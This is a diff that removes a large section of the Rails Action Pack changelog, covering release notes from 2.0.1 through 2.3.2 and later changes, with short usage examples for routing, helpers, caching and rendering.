-* New option :as added to form_for allows to change the object name. The old <% form_for :client, @post %> becomes <% form_for @post, :as => :client %> *spastorino*
-
-* Removed verify method in controllers. *JV*
- It's now available as a plugin at http://github.com/rails/verification
-
-* Removed input, form, error_messages_for and error_message_on from views. *JV*
- It's now available as a plugin at http://github.com/rails/dynamic_form
-
-* Routes can be scoped by controller module. *Jeremy Kemper*
-
- # /session => Auth::SessionsController
- scope :module => 'auth' do
- resource :session
- end
-
-* Added #favicon_link_tag, it uses #image_path so in particular the favicon gets an asset ID *fxn*
-
-* Fixed that default locale templates should be used if the current locale template is missing *DHH*
-
-* Added all the new HTML5 form types as individual form tag methods (search, url, number, etc) #3646 *Stephen Celis*
-
-* Changed the object used in routing constraints to be an instance of
- ActionDispatch::Request rather than Rack::Request *YK*
-
-* Changed ActionDispatch::Request#method to return a String, to be compatible
- with Rack::Request. Added ActionDispatch::Request#method_symbol to
- return a symbol form of the request method. *YK*
-
-* Changed ActionDispatch::Request#method to return the original
- method and #request_method to return the overridden method in the
- case of methodoverride being used (this means that #method returns
- "HEAD" and #request_method returns "GET" in HEAD requests). This
- is for compatibility with Rack::Request *YK*
-
-* #concat is now deprecated in favor of using <%= %> helpers *YK*
-
-* Block helpers now return Strings, so you can use <%= form_for @foo do |f| %>.
- <% form_for do |f| %> still works with deprecation notices *YK*
-
-* Add a new #mount method on the router that does not anchor the PATH_INFO
- at the end *YK & CL*
-
-* Create a new LookupContext object that is responsible for performantly
- finding a template for a given pattern *JV*
-
-* Removed relative_url_for in favor of respecting SCRIPT_NAME *YK & CL*
-
-* Changed file streaming to use Rack::Sendfile middleware *YK*
-
-* ActionDispatch::Request#content_type returns a String to be compatible with
- Rack::Request. Use #content_mime_type for the Mime::Type instance *YK*
-
-* Updated Prototype to 1.6.1 and Scriptaculous to 1.8.3 *ML*
-
-* Change the preferred way that URL helpers are included into a class*YK & CL*
-
- # for all helpers including named routes
- include Rails.application.router.url_helpers
-
- # for just url_for
- include Rails.application.router.url_for
-
-* Fixed that PrototypeHelper#update_page should return html_safe *DHH*
-
-* Fixed that much of DateHelper wouldn't return html_safe? strings *DHH*
-
-* Fixed that fragment caching should return a cache hit as html_safe (or it would all just get escaped) *DHH*
-
-* Added that ActionController::Base now does helper :all instead of relying on the default ApplicationController in Rails to do it *DHH*
-
-* Added ActionDispatch::Request#authorization to access the http authentication header regardless of its proxy hiding *DHH*
-
-* Added :alert, :notice, and :flash as options to ActionController::Base#redirect_to that'll automatically set the proper flash before the redirection *DHH*. Examples:
-
- flash[:notice] = 'Post was created'
- redirect_to(@post)
-
- ...becomes:
-
- redirect_to(@post, :notice => 'Post was created')
-
-* Added ActionController::Base#notice/= and ActionController::Base#alert/= as a convenience accessors in both the controller and the view for flash[:notice]/= and flash[:alert]/= *DHH*
-
-* Introduce grouped_collection_select helper. #1249 *Dan Codeape, Erik Ostrom*
-
-* Make sure javascript_include_tag/stylesheet_link_tag does not append ".js" or ".css" onto external urls. #1664 *Matthew Rudy Jacobs*
-
-* Ruby 1.9: fix Content-Length for multibyte send_data streaming. #2661 *Sava Chankov*
-
-* Ruby 1.9: ERB template encoding using a magic comment at the top of the file. *Jeremy Kemper*
- <%# encoding: utf-8 %>
-
-* Change integration test helpers to accept Rack environment instead of just HTTP Headers *Pratik Naik*
-
- Before : get '/path', {}, 'Accept' => 'text/javascript'
- After : get '/path', {}, 'HTTP_ACCEPT' => 'text/javascript'
-
-* Instead of checking Rails.env.test? in Failsafe middleware, check env["rails.raise_exceptions"] *Bryan Helmkamp*
-
-* Fixed that TestResponse.cookies was returning cookies unescaped #1867 *Doug McInnes*
-
-
-## 2.3.2 Final (March 15, 2009) ##
-
-* Fixed that redirection would just log the options, not the final url (which lead to "Redirected to #<Post:0x23150b8>") *DHH*
-
-* Don't check authenticity tokens for any AJAX requests *Ross Kaffenberger/Bryan Helmkamp*
-
-* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 *Gregg Pollack*
-
-* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 *Eloy Duran/Nate Wiger*
-
-* Form option helpers now support disabled option tags and the use of lambdas for selecting/disabling option tags from collections #837 *Tekin*
-
-* Added partial scoping to TranslationHelper#translate, so if you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") *DHH*
-
-* Fix a syntax error in current_page?() that was prevent matches against URL's with multiple query parameters #1385, #1868 *chris finne/Andrew White*
-
-* Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 *José Valim*
-
-* Make the form_for and fields_for helpers support the new Active Record nested update options. #1202 *Eloy Duran*
-
- <% form_for @person do |person_form| %>
- ...
- <% person_form.fields_for :projects do |project_fields| %>
- <% if project_fields.object.active? %>
- Name: <%= project_fields.text_field :name %>
- <% end %>
- <% end %>
- <% end %>
-
-
-* Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 *Jon Crawford*
-
-* Implement HTTP Digest authentication. #1230 *Gregg Kellogg, Pratik Naik* Example :
-
- class DummyDigestController < ActionController::Base
- USERS = { "lifo" => 'world' }
-
- before_filter :authenticate
-
- def index
- render :text => "Hello Secret"
- end
-
- private
-
- def authenticate
- authenticate_or_request_with_http_digest("Super Secret") do |username|
- # Return the user's password
- USERS[username]
- end
- end
- end
-
-* Improved i18n support for the number_to_human_size helper. Changes the storage_units translation data; update your translations accordingly. #1634 *Yaroslav Markin*
- storage_units:
- # %u is the storage unit, %n is the number (default: 2 MB)
- format: "%n %u"
- units:
- byte:
- one: "Byte"
- other: "Bytes"
- kb: "KB"
- mb: "MB"
- gb: "GB"
- tb: "TB"
-
-* Added :silence option to BenchmarkHelper#benchmark and turned log_level into a hash parameter and deprecated the old use *DHH*
-
-* Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 *DHH*
-
-* Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. #1435 *Pratik Naik* Examples:
-
- \# Instead of render(:action => 'other_action')
- render('other_action') # argument has no '/'
- render(:other_action)
-
- \# Instead of render(:template => 'controller/action')
- render('controller/action') # argument must not begin with a '/', but contain a '/'
-
- \# Instead of render(:file => '/Users/lifo/home.html.erb')
- render('/Users/lifo/home.html.erb') # argument must begin with a '/'
-
-* Add :prompt option to date/time select helpers. #561 *Sam Oliver*
-
-* Fixed that send_file shouldn't set an etag #1578 *Hongli Lai*
-
-* Allow users to opt out of the spoofing checks in Request#remote_ip. Useful for sites whose traffic regularly triggers false positives. *Darren Boyd*
-
-* Deprecated formatted_polymorphic_url. *Jeremy Kemper*
-
-* Added the option to declare an asset_host as an object that responds to call (see http://github.com/dhh/asset-hosting-with-minimum-ssl for an example) *David Heinemeier Hansson*
-
-* Added support for multiple routes.rb files (useful for plugin engines). This also means that draw will no longer clear the route set, you have to do that by hand (shouldn't make a difference to you unless you're doing some funky stuff) *David Heinemeier Hansson*
-
-* Dropped formatted_* routes in favor of just passing in :format as an option. This cuts resource routes generation in half #1359 *aaronbatalion*
-
-* Remove support for old double-encoded cookies from the cookie store. These values haven't been generated since before 2.1.0, and any users who have visited the app in the intervening 6 months will have had their cookie upgraded. *Michael Koziarski*
-
-* Allow helpers directory to be overridden via ActionController::Base.helpers_dir #1424 *Sam Pohlenz*
-
-* Remove deprecated ActionController::Base#assign_default_content_type_and_charset
-
-* Changed the default of ActionView#render to assume partials instead of files when not given an options hash *DHH*. Examples:
-
- # Instead of <%= render :partial => "account" %>
- <%= render "account" %>
-
- # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
- <%= render "account", :account => @buyer %>
-
- # @account is an Account instance, so it uses the RecordIdentifier to replace
- # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
- <%= render(@account) %>
-
- # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
- # <%= render :partial => "posts/post", :collection => @posts %>
- <%= render(@posts) %>
-
-* Remove deprecated render_component. Please use the plugin from http://github.com/rails/render_component/tree/master *Pratik Naik*
-
-* Fixed RedCloth and BlueCloth shouldn't preload. Instead just assume that they're available if you want to use textilize and markdown and let autoload require them *David Heinemeier Hansson*
-
-
-## 2.2.2 (November 21st, 2008) ##
-
-* I18n: translate number_to_human_size. Add storage_units: [Bytes, KB, MB, GB, TB] to your translations. #1448 *Yaroslav Markin*
-
-* Restore backwards compatible functionality for setting relative_url_root. Include deprecation
-
-* Switched the CSRF module to use the request content type to decide if the request is forgeable. #1145 *Jeff Cohen*
-
-* Added :only and :except to map.resources to let people cut down on the number of redundant routes in an application. Typically only useful for huge routesets. #1215 *Tom Stuart*
-
- map.resources :products, :only => :show do |product|
- product.resources :images, :except => :destroy
- end
-
-* Added render :js for people who want to render inline JavaScript replies without using RJS *David Heinemeier Hansson*
-
-* Fixed that polymorphic_url should compact given array #1317 *hiroshi*
-
-* Fixed the sanitize helper to avoid double escaping already properly escaped entities #683 *antonmos/Ryan McGeary*
-
-* Fixed that FormTagHelper generated illegal html if name contained square brackets #1238 *Vladimir Dobriakov*
-
-* Fix regression bug that made date_select and datetime_select raise a Null Pointer Exception when a nil date/datetime was passed and only month and year were displayed #1289 *Bernardo Padua/Tor Erik*
-
-* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) *David Heinemeier Hansson*
-
-* Remove the logging of the Session ID when the session store is CookieStore *David Heinemeier Hansson*
-
-* Fixed regex in redirect_to to fully support URI schemes #1247 *Seth Fitzsimmons*
-
-* Fixed bug with asset timestamping when using relative_url_root #1265 *Joe Goldwasser*
-
-
-## 2.2.0 RC1 (October 24th, 2008) ##
-
-* Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections *packagethief*
-
-* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends *DHH*. Example:
-
- class ArticlesController < ApplicationController
- def show_with_respond_to_block
- @article = Article.find(params[:id])
-
-
- # If the request sends headers that differs from the options provided to stale?, then
- # the request is indeed stale and the respond_to block is triggered (and the options
- # to the stale? call is set on the response).
- #
- # If the request headers match, then the request is fresh and the respond_to block is
- # not triggered. Instead the default render will occur, which will check the last-modified
- # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
- # of rendering the template.
- if stale?(:last_modified => @article.published_at.utc, :etag => @article)
- respond_to do |wants|
- # normal response processing
- end
- end
- end
-
- def show_with_implied_render
- @article = Article.find(params[:id])
-
- # Sets the response headers and checks them against the request, if the request is stale
- # (i.e. no match of either etag or last-modified), then the default render of the template happens.
- # If the request is fresh, then the default render will return a "304 Not Modified"
- # instead of rendering the template.
- fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
- end
- end
-
-
-* Added inline builder yield to atom_feed_helper tags where appropriate *Sam Ruby*. Example:
-
- entry.summary :type => 'xhtml' do |xhtml|
- xhtml.p pluralize(order.line_items.count, "line item")
- xhtml.p "Shipped to #{order.address}"
- xhtml.p "Paid by #{order.pay_type}"
- end
-
-* Make PrototypeHelper#submit_to_remote a wrapper around PrototypeHelper#button_to_remote. *Tarmo Tänav*
-
-* Set HttpOnly for the cookie session store's cookie. #1046
-
-* Added FormTagHelper#image_submit_tag confirm option #784 *Alastair Brunton*
-
-* Fixed FormTagHelper#submit_tag with :disable_with option wouldn't submit the button's value when was clicked #633 *Jose Fernandez*
-
-* Stopped logging template compiles as it only clogs up the log *David Heinemeier Hansson*
-
-* Changed the X-Runtime header to report in milliseconds *David Heinemeier Hansson*
-
-* Changed BenchmarkHelper#benchmark to report in milliseconds *David Heinemeier Hansson*
-
-* Changed logging format to be millisecond based and skip misleading stats *DHH*. Went from:
-
- Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com]
-
- ...to:
-
- Completed in 100ms (View: 40, DB: 4) | 200 OK [http://example.com]
-
-* Add support for shallow nesting of routes. #838 *S. Brent Faulkner*
-
- Example :
-
- map.resources :users, :shallow => true do |user|
- user.resources :posts
- end
-
- - GET /users/1/posts (maps to PostsController#index action as usual)
- named route "user_posts" is added as usual.
-
- - GET /posts/2 (maps to PostsController#show action as if it were not nested)
- Additionally, named route "post" is added too.
-
-* Added button_to_remote helper. #3641 *Donald Piret, Tarmo Tänav*
-
-* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master *Pratik Naik*
-
-* Routes may be restricted to lists of HTTP methods instead of a single method or :any. #407 *Brennan Dunn, Gaius Centus Novus*
- map.resource :posts, :collection => { :search => [:get, :post] }
- map.session 'session', :requirements => { :method => [:get, :post, :delete] }
-
-* Deprecated implicit local assignments when rendering partials *Josh Peek*
-
-* Introduce current_cycle helper method to return the current value without bumping the cycle. #417 *Ken Collins*
-
-* Allow polymorphic_url helper to take url options. #880 *Tarmo Tänav*
-
-* Switched integration test runner to use Rack processor instead of CGI *Josh Peek*
-
-* Made AbstractRequest.if_modified_sense return nil if the header could not be parsed *Jamis Buck*
-
-* Added back ActionController::Base.allow_concurrency flag *Josh Peek*
-
-* AbstractRequest.relative_url_root is no longer automatically configured by a HTTP header. It can now be set in your configuration environment with config.action_controller.relative_url_root *Josh Peek*
-
-* Update Prototype to 1.6.0.2 #599 *Patrick Joyce*
-
-* Conditional GET utility methods. *Jeremy Kemper*
- response.last_modified = @post.updated_at
- response.etag = [:admin, @post, current_user]
-
- if request.fresh?(response)
- head :not_modified
- else
- # render ...
- end
-
-* All 2xx requests are considered successful *Josh Peek*
-
-* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run *David Heinemeier Hansson*
-
-* Removed config.action_view.cache_template_loading, use config.cache_classes instead *Josh Peek*
-
-* Get buffer for fragment cache from template's @output_buffer *Josh Peek*
-
-* Set config.action_view.warn_cache_misses = true to receive a warning if you perform an action that results in an expensive disk operation that could be cached *Josh Peek*
-
-* Refactor template preloading. New abstractions include Renderable mixins and a refactored Template class *Josh Peek*
-
-* Changed ActionView::TemplateHandler#render API method signature to render(template, local_assigns = {}) *Josh Peek*
-
-* Changed PrototypeHelper#submit_to_remote to PrototypeHelper#button_to_remote to stay consistent with link_to_remote (submit_to_remote still works as an alias) #8994 *clemens*
-
-* Add :recursive option to javascript_include_tag and stylesheet_link_tag to be used along with :all. #480 *Damian Janowski*
-
-* Allow users to disable the use of the Accept header *Michael Koziarski*
-
- The accept header is poorly implemented by browsers and causes strange
- errors when used on public sites where crawlers make requests too. You can use formatted urls (e.g. /people/1.xml) to support API clients in a much simpler way.
- To disable the header you need to set:
- config.action_controller.use_accept_header = false
-* Do not stat template files in production mode before rendering. You will no longer be able to modify templates in production mode without restarting the server *Josh Peek*
-
-* Deprecated TemplateHandler line offset *Josh Peek*
-
-* Allow caches_action to accept cache store options. #416. *José Valim*. Example:
-
- caches_action :index, :redirected, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
-
-* Remove define_javascript_functions, javascript_include_tag and friends are far superior. *Michael Koziarski*
-
-* Deprecate :use_full_path render option. The supplying the option no longer has an effect *Josh Peek*
-
-* Add :as option to render a collection of partials with a custom local variable name. #509 *Simon Jefford, Pratik Naik*
-
- render :partial => 'other_people', :collection => @people, :as => :person
-
- This will let you access objects of @people as 'person' local variable inside 'other_people' partial template.
-
-* time_zone_select: support for regexp matching of priority zones. Resolves #195 *Ernie Miller*
-
-* Made ActionView::Base#render_file private *Josh Peek*
-
-* Refactor and simplify the implementation of assert_redirected_to. Arguments are now normalised relative to the controller being tested, not the root of the application. *Michael Koziarski*
-
- This could cause some erroneous test failures if you were redirecting between controllers
- in different namespaces and wrote your assertions relative to the root of the application.
-
-* Remove follow_redirect from controller functional tests.
-
- If you want to follow redirects you can use integration tests. The functional test version was only useful if you were using redirect_to :id=>...
-* Fix polymorphic_url with singleton resources. #461 *Tammer Saleh*
-
-* Replaced TemplateFinder abstraction with ViewLoadPaths *Josh Peek*
-
-* Added block-call style to link_to *Sam Stephenson/David Heinemeier Hansson*. Example:
-
- <% link_to(@profile) do %>
- <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
- <% end %>
-
-* Performance: integration test benchmarking and profiling. *Jeremy Kemper*
-
-* Make caching more aware of mime types. Ensure request format is not considered while expiring cache. *Jonathan del Strother*
-
-* Drop ActionController::Base.allow_concurrency flag *Josh Peek*
-
-* More efficient concat and capture helpers. Remove ActionView::Base.erb_variable. *Jeremy Kemper*
-
-* Added page.reload functionality. Resolves #277. *Sean Huber*
-
-* Fixed Request#remote_ip to only raise hell if the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR doesn't match (not just if they're both present) *Mark Imbriaco, Bradford Folkens*
-
-* Allow caches_action to accept a layout option *José Valim*
-
-* Added Rack processor *Ezra Zygmuntowicz, Josh Peek*
-
-
-## 2.1.0 (May 31st, 2008) ##
-
-* InstanceTag#default_time_from_options overflows to DateTime *Geoff Buesing*
-
-* Fixed that forgery protection can be used without session tracking (Peter Jones) *#139*
-
-* Added session(:on) to turn session management back on in a controller subclass if the superclass turned it off (Peter Jones) *#136*
-
-* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" *Rick Olson*
-* InstanceTag#default_time_from_options with hash args uses Time.current as default; respects hash settings when time falls in system local spring DST gap *Geoff Buesing*
-
-* select_date defaults to Time.zone.today when config.time_zone is set *Geoff Buesing*
-
-* Fixed that TextHelper#text_field would corrypt when raw HTML was used as the value (mchenryc, Kevin Glowacz) *#80*
-
-* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) *David Heinemeier Hansson*
-
-* Reduce number of instance variables being copied from controller to view. *Pratik Naik*
-
-* select_datetime and select_time default to Time.zone.now when config.time_zone is set *Geoff Buesing*
-
-* datetime_select defaults to Time.zone.now when config.time_zone is set *Geoff Buesing*
-
-* Remove ActionController::Base#view_controller_internals flag. *Pratik Naik*
-
-* Add conditional options to caches_page method. *Paul Horsfall*
-
-* Move missing template logic to ActionView. *Pratik Naik*
-
-* Introduce ActionView::InlineTemplate class. *Pratik Naik*
-
-* Automatically parse posted JSON content for Mime::JSON requests. *Rick Olson*
-
- POST /posts
- {"post": {"title": "Breaking News"}}
-
- def create
- @post = Post.create params[:post]
- # ...
- end
-
-* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. *Rick Olson*
-
-* Provide a helper proxy to access helper methods from outside views. Closes #10839 *Josh Peek*
- e.g. ApplicationController.helpers.simple_format(text)
-
-* Improve documentation. *Xavier Noria, leethal, jerome*
-
-* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 *Josh Peek, eventualbuddha, Pratik Naik*
-
-* Support render :partial => collection of heterogeneous elements. #11491 *Zach Dennis*
-
-* Avoid remote_ip spoofing. *Brian Candler*
-
-* Added support for regexp flags like ignoring case in the :requirements part of routes declarations #11421 *NeilW*
-
-* Fixed that ActionController::Base#read_multipart would fail if boundary was exactly 10240 bytes #10886 *ariejan*
-
-* Fixed HTML::Tokenizer (used in sanitize helper) didn't handle unclosed CDATA tags #10071 *esad, packagethief*
-
-* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
-
-* Fixed that FormHelper#radio_button would produce invalid ids #11298 *harlancrystal*
-
-* Added :confirm option to submit_tag #11415 *Emilio Tagua*
-
-* Fixed NumberHelper#number_with_precision to properly round in a way that works equally on Mac, Windows, Linux (closes #11409, #8275, #10090, #8027) *zhangyuanyi*
-
-* Allow the #simple_format text_helper to take an html_options hash for each paragraph. #2448 *François Beausoleil, Chris O'Sullivan*
-
-* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice. *Rick Olson*
-
-* Refactor filters to use Active Support callbacks. #11235 *Josh Peek*
-
-* Fixed that polymorphic routes would modify the input array #11363 *thomas.lee*
-
-* Added :format option to NumberHelper#number_to_currency to enable better localization support #11149 *lylo*
-
-* Fixed that TextHelper#excerpt would include one character too many #11268 *Irfy*
-
-* Fix more obscure nested parameter hash parsing bug. #10797 *thomas.lee*
-
-* Added ActionView::Helpers::register_javascript/stylesheet_expansion to make it easier for plugin developers to inject multiple assets. #10350 *lotswholetime*
-
-* Fix nested parameter hash parsing bug. #10797 *thomas.lee*
-
-* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 *Eloy Duran*
-
-* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off *David Heinemeier Hansson*
-
-* Make MimeResponds::Responder#any work without explicit types. Closes #11140 *jaw6*
-
-* Better error message for type conflicts when parsing params. Closes #7962 *spicycode, matt*
-
-* Remove unused ActionController::Base.template_class. Closes #10787 *Pratik Naik*
-
-* Moved template handlers related code from ActionView::Base to ActionView::Template. *Pratik Naik*
-
-* Tests for div_for and content_tag_for helpers. Closes #11223 *Chris O'Sullivan*
-
-* Allow file uploads in Integration Tests. Closes #11091 *RubyRedRick*
-
-* Refactor partial rendering into a PartialTemplate class. *Pratik Naik*
-
-* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block *David Heinemeier Hansson*
-
-* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 *Ernesto Jimenez*
-
-* Remove support for multivalued (e.g., '&'-delimited) cookies. *Jamis Buck*
-
-* Fix problem with render :partial collections, records, and locals. #11057 *lotswholetime*
-
-* Added support for naming concrete classes in sweeper declarations *David Heinemeier Hansson*
-
-* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application. #10098 *Tim Pope, Chris Kampmeier*
-
-* Fix typo in form_helper documentation. #10650 *Xavier Shay, Chris Kampmeier*
-
-* Fix bug with setting Request#format= after the getter has cached the value. #10889 *cch1*
-
-* Correct inconsistencies in RequestForgeryProtection docs. #11032 *Mislav Marohnić*
-
-* Introduce a Template class to ActionView. #11024 *Pratik Naik*
-
-* Introduce the :index option for form_for and fields_for to simplify multi-model forms (see http://railscasts.com/episodes/75). #9883 *rmm5t*
-
-* Introduce map.resources :cards, :as => 'tarjetas' to use a custom resource name in the URL: cards_path == '/tarjetas'. #10578 *blj*
-
-* TestSession supports indifferent access. #7372 *tamc, Arsen7, mhackett, julik, jean.helou*
-
-* Make assert_routing aware of the HTTP method used. #8039 *mpalmer*
- e.g. assert_routing({ :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" })
-
-* Make map.root accept a single symbol as an argument to declare an alias. #10818 *bscofield*
-
- e.g. map.dashboard '/dashboard', :controller=>'dashboard'
- map.root :dashboard
-
-* Handle corner case with image_tag when passed 'messed up' image names. #9018 *Duncan Beevers, mpalmer*
-
-* Add label_tag helper for generating elements. #10802 *DefV*
-
-* Introduce TemplateFinder to handle view paths and lookups. #10800 *Pratik Naik*
-
-* Performance: optimize route recognition. Large speedup for apps with many resource routes. #10835 *oleganza*
-
-* Make render :partial recognise form builders and use the _form partial. #10814 *Damian Janowski*
-
-* Allow users to declare other namespaces when using the atom feed helpers. #10304 *david.calavera*
-
-* Introduce send_file :x_sendfile => true to send an X-Sendfile response header. *Jeremy Kemper*
-
-* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 *Jeremy Evans*
-
-* Provide nicer access to HTTP Headers. Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. *Michael Koziarski*
-
-* UrlWriter respects relative_url_root. #10748 *Cheah Chu Yeow*
-
-* The asset_host block takes the controller request as an optional second argument. Example: use a single asset host for SSL requests. #10549 *Cheah Chu Yeow, Peter B, Tom Taylor*
-
-* Support render :text => nil. #6684 *tjennings, PotatoSalad, Cheah Chu Yeow*
-
-* assert_response failures include the exception message. #10688 *Seth Rasmussen*
-
-* All fragment cache keys are now by default prefixed with the "views/" namespace *David Heinemeier Hansson*
-
-* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore *David Heinemeier Hansson*
-
-* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store *David Heinemeier Hansson*
-
-* Made fragment caching in views work for rjs and builder as well #6642 *Dee Zsombor*
-
-* Fixed rendering of partials with layout when done from site layout #9209 *antramm*
-
-* Fix atom_feed_helper to comply with the atom spec. Closes #10672 *Xavier Shay*
-
- * The tags created do not contain a date (http://feedvalidator.org/docs/error/InvalidTAG.html)
- * IDs are not guaranteed unique
- * A default self link was not provided, contrary to the documentation
- * NOTE: This changes tags for existing atom entries, but at least they validate now.
-
-* Correct indentation in tests. Closes #10671 *Luca Guidi*
-
-* Fix that auto_link looks for ='s in url paths (Amazon urls have them). Closes #10640 *Brad Greenlee*
-
-* Ensure that test case setup is run even if overridden. #10382 *Josh Peek*
-
-* Fix HTML Sanitizer to allow trailing spaces in CSS style attributes. Closes #10566 *wesley.moxam*
-
-* Add :default option to time_zone_select. #10590 *Matt Aimonetti*
-
-
-## 2.0.2 (December 16th, 2007) ##
-
-* Added delete_via_redirect and put_via_redirect to integration testing #10497 *philodespotos*
-
-* Allow headers['Accept'] to be set by hand when calling xml_http_request #10461 *BMorearty*
-
-* Added OPTIONS to list of default accepted HTTP methods #10449 *holoway*
-
-* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 *Cheah Chu Yeow*. Example:
-
- ActionController::Base.asset_host = Proc.new { |source|
- if source.starts_with?('/images')
- "http://images.example.com"
- else
- "http://assets.example.com"
- end
- }
-
-* Fixed that ActionView#file_exists? would be incorrect if @first_render is set #10569 *dbussink*
-
-* Added that Array#to_param calls to_param on all it's elements #10473 *brandon*
-
-* Ensure asset cache directories are automatically created. #10337 *Josh Peek, Cheah Chu Yeow*
-
-* render :xml and :json preserve custom content types. #10388 *jmettraux, Cheah Chu Yeow*
-
-* Refactor Action View template handlers. #10437, #10455 *Josh Peek*
-
-* Fix DoubleRenderError message and leave out mention of returning false from filters. Closes #10380 *Frederick Cheung*
-
-* Clean up some cruft around ActionController::Base#head. Closes #10417 *ssoroka*
-
-
-## 2.0.1 (December 7th, 2007) ##
-
-* Fixed send_file/binary_content for testing #8044 *tolsen*
-
-* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 *Jack Danger Canty*
-
-* Update Prototype to 1.6.0.1. *sam*
-
-* Update script.aculo.us to 1.8.0.1. *madrobby*
-
-* Add 'disabled' attribute to <OPTION> separators used in time zone and country selects. Closes #10354 *Josh Susser*
-
-* Added the same record identification guessing rules to fields_for as form_for has *David Heinemeier Hansson*
-
-* Fixed that verification violations with no specified action didn't halt the chain (now they do with a 400 Bad Request) *David Heinemeier Hansson*
-
-* Raise UnknownHttpMethod exception for unknown HTTP methods. Closes #10303 *Tarmo Tänav*
-
-* Update to Prototype -r8232. *sam*
-
-* Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. *pager, Michael Koziarski* #10292
-
-* Added protection from trailing slashes on page caching #10229 *devrieda*
-
-* Asset timestamps are appended, not prepended. Closes #10276 *Mike Naberezny*
-
-* Minor inconsistency in description of render example. Closes #10029 *ScottSchram*
-
-* Add #prepend_view_path and #append_view_path instance methods on ActionController::Base for consistency with the class methods. *Rick Olson*
-
-* Refactor sanitizer helpers into HTML classes and make it easy to swap them out with custom implementations. Closes #10129. *Rick Olson*
-
-* Add deprecation for old subtemplate syntax for ActionMailer templates, use render :partial *Rick Olson*
-
-* Fix TemplateError so it doesn't bomb on exceptions while running tests *Rick Olson*
-
-* Fixed that named routes living under resources shouldn't have double slashes #10198 *Isaac Feliu*
-
-* Make sure that cookie sessions use a secret that is at least 30 chars in length. *Michael Koziarski*
-
-* Fixed that partial rendering should look at the type of the first render to determine its own type if no other clues are available (like when using text.plain.erb as the extension in AM) #10130 *java*
-
-* Fixed that has_many :through associations should render as collections too #9051 *mathie/Jack Danger Canty*
-
-* Added :mouseover short-cut to AssetTagHelper#image_tag for doing easy image swaps #6893 *joost*
-
-* Fixed handling of non-domain hosts #9479 *purp*
-
-* Fix syntax error in documentation example for cycle method. Closes #8735 *foca*
-
-* Document :with option for link_to_remote. Closes #8765 *Ryan Bates*
-
-* Document :minute_step option for time_select. Closes #8814 *brupm*
-
-* Explain how to use the :href option for link_to_remote to degrade gracefully in the absence of JavaScript. Closes #8911 *vlad*
-
-* Disambiguate :size option for text area tag. Closes #8955 *redbeard*
-
-* Fix broken tag in assert_tag documentation. Closes #9037 *mfazekas*
-
-* Add documentation for route conditions. Closes #9041 *innu, Manfred Stienstra*
-
-* Fix typo left over from previous typo fix in url helper. Closes #9414 *Henrik N*
-
-* Fixed that ActionController::CgiRequest#host_with_port() should handle standard port #10082 *moro*
-
-* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. *sam, madrobby*
-
-* Expose the cookie jar as a helper method (before the view would just get the raw cookie hash) *David Heinemeier Hansson*
-
-* Integration tests: get_ and post_via_redirect take a headers hash. #9130 *simonjefford*
-
-* Simplfy #view_paths implementation. ActionView templates get the exact object, not a dup. *Rick Olson*
-
-* Update tests for ActiveSupport's JSON escaping change. *Rick Olson*
-
-* FormHelper's auto_index should use #to_param instead of #id_before_type_cast. Closes #9994 *mattly*
-
-* Doc typo fixes for ActiveRecordHelper. Closes #9973 *mikong*
-
-* Make example parameters in restful routing docs idiomatic. Closes #9993 *Jack Danger Canty*
-
-* Make documentation comment for mime responders match documentation example. Closes #9357 *yon*
-
-* Introduce a new test case class for functional tests. ActionController::TestCase. *Michael Koziarski*
-
-* Fix incorrect path in helper rdoc. Closes #9926 *viktor tron*
-
